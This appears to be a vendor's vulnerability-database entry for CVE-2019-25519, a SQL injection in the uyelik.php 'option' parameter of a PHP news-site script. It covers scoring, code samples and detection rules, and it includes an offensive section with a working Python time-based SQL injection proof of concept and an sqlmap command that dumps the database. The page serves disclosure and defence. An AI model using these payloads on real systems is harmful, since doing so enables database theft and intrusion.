CVE-2019-25519
Executive Summary
CVE-2019-25519 is a critical SQL injection vulnerability in the Jettweb PHP Hazir Haber Sitesi Scripti V1, a content management system for news websites. The flaw exists in the option parameter of the uyelik.php endpoint, allowing unauthenticated attackers to inject arbitrary SQL commands via POST requests. This enables time-based blind SQL injection attacks, leading to full database compromise, including extraction of user credentials, session tokens, and other sensitive data. The vendor has not released a patch, and the software is considered end-of-life. The vulnerability is publicly documented with proof-of-concept code available, posing a high risk to any remaining installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone PHP application with no known package manager dependencies.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The vulnerability is trivially exploitable by any remote attacker without authentication, making it a critical threat. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but this is likely due to the software's obscurity rather than the severity of the flaw.
Deep Dive & Mechanics
The vulnerability resides in the uyelik.php script, which handles user registration and profile updates. The option parameter is directly concatenated into SQL queries without sanitization or parameterization. An attacker can send a POST request with a crafted option value containing SQL injection payloads. Because the application does not display database errors, time-based blind injection techniques (e.g., SLEEP(), BENCHMARK()) are used to infer data bit by bit.
Example vulnerable code snippet (conceptual):
$option = $_POST['option'];
$query = "SELECT * FROM users WHERE option = '$option'";
$result = mysqli_query($conn, $query);
The attacker can manipulate the query to extract data from other tables, such as admin_users or config, by injecting UNION-based or time-based payloads.
Vulnerable vs. Patched Code
Vulnerable Code (uyelik.php):
<?php
$option = $_POST['option'];
$sql = "SELECT * FROM users WHERE option = '$option'";
$result = mysqli_query($conn, $sql);
?>
Patched Code (hypothetical):
<?php
$option = mysqli_real_escape_string($conn, $_POST['option']);
$sql = "SELECT * FROM users WHERE option = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "s", $option);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>
No official patch exists. The above demonstrates the correct mitigation using prepared statements.
Exploitation & Lab Setup
Red Team (Offensive)
Proof-of-Concept (Python):
import requests
import time
target = "http://target.com/uyelik.php"
payload = "' OR IF(1=1, SLEEP(5), 0) -- -"
data = {"option": payload}
start = time.time()
response = requests.post(target, data=data)
end = time.time()
if end - start >= 5:
print("[+] Time-based injection confirmed!")
else:
print("[-] Injection failed.")
Manual SQLMap Command:
sqlmap -u "http://target.com/uyelik.php" --data="option=test" --technique=T --dbms=mysql --batch --dump
Lab Setup:
- Deploy a vulnerable instance of Jettweb PHP Hazir Haber Sitesi Scripti V1 on a local LAMP stack.
- Use Burp Suite or OWASP ZAP to intercept and modify POST requests.
- Execute the Python PoC to confirm time delays.
- Use SQLMap to automate data extraction.
Blue Team (Defensive)
Detection Strategy:
- Monitor for POST requests to
/uyelik.phpwith unusualoptionparameters containing SQL keywords (e.g.,SLEEP,BENCHMARK,UNION,SELECT). - Implement Web Application Firewall (WAF) rules to block SQL injection patterns.
- Enable detailed logging of all SQL queries and user input.
Honeypot Setup:
- Deploy a decoy instance of the vulnerable script and monitor for exploitation attempts.
- Log all POST data and source IPs for threat intelligence.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/uyelik.phpwithoptionparameter containing SQL keywords. - HTTP responses with unusual timing (e.g., >5 seconds delay).
- Source IPs scanning for Jettweb installations.
- POST requests to
File IOCs:
- Modified
uyelik.phpfile with injected backdoor code. - Suspicious entries in MySQL logs (e.g.,
SLEEP(5)in queries).
- Modified
Behavioral IOCs:
- Unauthorized database queries from the web server.
- Exfiltration of data via HTTP responses.
Detection Engineering
YARA Rule
rule CVE_2019_25519_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting Jettweb uyelik.php option parameter"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2019-25519"
strings:
$sleeper = /SLEEP\s*\(\s*\d+\s*\)/ nocase
$benchmark = /BENCHMARK\s*\(\s*\d+\s*,/ nocase
$union = /UNION\s+SELECT/i
$or_1_1 = /' OR '1'='1/i
condition:
any of them
}
Sigma Rule
title: CVE-2019-25519 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Jettweb uyelik.php
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/uyelik.php'
cs-uri-query|contains:
- 'SLEEP'
- 'BENCHMARK'
- 'UNION'
- "' OR '1'='1"
condition: selection
falsepositives:
- Legitimate use of the word "SLEEP" in a comment field (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25519 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/uyelik.php"; http_uri; content:"option="; http_client_body; pcre:"/(SLEEP|BENCHMARK|UNION|' OR '1'='1)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable or remove the
uyelik.phpscript if not required. If the application is in use, migrate to a supported CMS immediately. - Code Fix: Replace all dynamic SQL queries with prepared statements or parameterized queries. Use an ORM like Doctrine or Eloquent.
- WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block SQL injection patterns.
- Input Validation: Implement strict input validation and whitelist allowed values for the
optionparameter. - Network Segmentation: Isolate the web server from critical database servers.
- Monitoring: Enable detailed logging and set up alerts for SQL injection attempts.
- Vendor Contact: Attempt to contact Jettweb for a patch; if unresponsive, consider legal action or public disclosure.
Valters IT
Securing Digital Frontiers